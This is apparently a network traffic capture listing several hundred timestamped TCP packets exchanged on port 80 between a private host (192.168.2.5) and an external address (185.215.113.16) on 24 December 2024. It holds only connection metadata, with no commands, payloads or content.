Dec 24, 2024 12:39:39.283932924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.284691095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.284946918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.284970999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.284991026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.285000086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.285037041 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.285572052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.285609007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.285614014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.285657883 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.286533117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.286550045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.286566019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.286586046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.286622047 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.287456989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.287518024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.287533998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.287596941 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.288239002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.288283110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.288300037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.288357019 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.288418055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.289055109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.289124966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.289141893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.289175987 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.290107965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.290158033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.290174007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.290190935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.290231943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.375235081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.375252962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.375272036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.375391006 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.375610113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.375668049 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.375708103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.375722885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.375770092 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.376496077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.376512051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.376528978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.376552105 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.377312899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.377365112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.377365112 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.377391100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.378252029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.378277063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.378294945 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.378333092 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.410547972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.410610914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.410626888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.410662889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.411390066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.411443949 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.411596060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.411649942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.412100077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.413516998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.413597107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.413603067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.413645983 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.414589882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.414657116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.414659023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.414674044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.414715052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.415652990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.415705919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.415720940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.415764093 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.416717052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.416780949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.416798115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.416835070 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.416866064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.418083906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.418101072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.418117046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.418155909 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.418597937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.418612957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.418629885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.418648958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.418669939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.419140100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.419189930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.419205904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.419253111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.419625998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.419641972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.419658899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.419673920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.419708967 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.420098066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.420113087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.420130014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.420175076 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.420495987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.420521975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.420536995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.420571089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.420584917 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.421207905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.421233892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.421248913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.421283007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.421709061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.421760082 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.421796083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.421812057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.422395945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.422450066 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.422451019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.422468901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.422491074 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.423105955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.423121929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.423137903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.423152924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.423182964 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.423671007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.423686981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.423702955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.423736095 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.424304008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.424369097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.424385071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.424421072 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.424457073 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.425164938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.425228119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.425245047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.425295115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.426075935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.426126957 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.426151991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.426167965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.426212072 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.426949024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.426985979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.427001953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.427051067 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.427916050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.427973986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.428002119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.428018093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.428062916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.428777933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.473084927 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.475763083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.475812912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.475817919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.475871086 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.476097107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.476154089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.476160049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.476177931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.476219893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.476912022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.477118015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.477250099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.477266073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.477298021 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.477327108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.477818966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.477871895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.477888107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.477920055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.478694916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.478722095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.478738070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.478744984 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.478785038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.479563951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.479592085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.479608059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.479643106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.480463982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.480519056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.480536938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.480572939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.480603933 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.481410027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.481486082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.481502056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.481539011 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.482224941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.482259989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.482275009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.482278109 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.483783007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.567549944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.567672968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.567687988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.567734003 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.567758083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.567811966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.567970037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.568017960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.568033934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.568078995 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.568841934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.568898916 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.568912983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.568932056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.569700003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.569725990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.569741964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.569757938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.569792986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.570549011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.571583033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.602102995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.602161884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.602179050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.602207899 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.602555990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.602581978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.602597952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.602632046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.602654934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.603497982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.603543043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.603559017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.603605032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.604315042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.604365110 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.604366064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.604382038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.604470968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.605232000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.605248928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.605268002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.605320930 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.606108904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.606174946 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.606179953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.606199026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.606962919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.606987000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.607004881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.607017994 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.607043982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.607820034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.607888937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.607909918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.607942104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.607954979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.608707905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.608767986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.608783960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.608836889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.609584093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.609608889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.609648943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.609694004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.610048056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.610471010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.610503912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.610521078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.610564947 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.611402035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.611429930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.611449003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.611473083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.611490965 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.612282038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.612361908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.612380981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.612409115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.613107920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.613163948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.613179922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.613214970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.613243103 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.613997936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.614027977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.614037037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.614089966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.614866972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.614913940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.614928961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.614932060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.614967108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.615775108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.615830898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.615849018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.615894079 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.616724968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.616740942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.616758108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.616796970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.616827011 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.617517948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.617567062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.617583990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.617619038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.618383884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.618422985 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.618448019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.618464947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.619280100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.619334936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.619340897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.619350910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.619371891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.620153904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.620194912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.620210886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.620242119 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.620264053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.621021032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.660415888 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.667996883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.668091059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.668107986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.668164968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.668442965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.668490887 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.668509007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.668525934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.669378042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.669429064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.669496059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.669584036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.669625998 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.669707060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.669751883 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.670193911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.670274973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.670291901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:39.670334101 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:39.671041965 CET	80	49727	185.215.113.16	192.168.2.5
